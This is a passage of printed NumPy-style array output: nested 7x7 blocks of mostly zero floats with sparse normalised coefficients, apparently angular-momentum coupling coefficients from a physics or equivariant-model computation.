[ 0.32732684, 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0.18898224, 0. ],
[ 0. , 0. , 0. , 0. , -0.24397502, 0. , 0. ],
[ 0. , 0. , 0. , 0.26726124, 0. , 0. , 0. ],
[ 0. , 0. , -0.26726124, 0. , 0. , 0. , 0. ],
[ 0. , 0.24397502, 0. , 0. , 0. , 0. , 0. ],
[-0.18898224, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]]],
[[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.4472136 , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.4472136 , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.4472136 , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , -0.4472136 , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0.4472136 , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.4472136 , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.31622777, 0. , 0. ],
[ 0. , 0. , 0. , -0.31622777, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.18257419, 0. , 0. ],
[ 0. , 0. , 0. , 0.36514837, 0. , 0. , 0. ],
[ 0. , 0. , 0.18257419, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.31622777, 0. , 0. , 0. ],
[ 0. , 0. , -0.31622777, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.4472136 , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.36514837, 0. ],
[ 0. , 0. , 0. , 0. , -0.25819889, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , -0.25819889, 0. ],
[ 0. , 0. , 0. , 0. , -0.18257419, 0. , 0. ],
[ 0. , 0. , 0. , 0.31622777, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.31622777, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , -0.31622777, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.31622777, 0. , 0. , 0. ],
[ 0. , 0. , 0.18257419, 0. , 0. , 0. , 0. ],
[ 0. , 0.25819889, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.25819889, 0. , 0. , 0. , 0. ],
[ 0. , -0.36514837, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0.37796447],
[ 0. , 0. , 0. , 0. , 0. , -0.21821789, 0. ],
[ 0. , 0. , 0. , 0. , 0.09759001, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , -0.3086067 , 0. ],
[ 0. , 0. , 0. , 0. , 0.27602622, 0. , 0. ],
[ 0. , 0. , 0. , -0.16903085, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.23904572, 0. , 0. ],
[ 0. , 0. , 0. , -0.29277002, 0. , 0. , 0. ],
[ 0. , 0. , 0.23904572, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.16903085, 0. , 0. , 0. ],
[ 0. , 0. , 0.27602622, 0. , 0. , 0. , 0. ],
[ 0. , -0.3086067 , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.09759001, 0. , 0. , 0. , 0. ],
[ 0. , -0.21821789, 0. , 0. , 0. , 0. , 0. ],
[ 0.37796447, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.4472136 , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.4472136 , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.4472136 , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.4472136 , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.4472136 , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
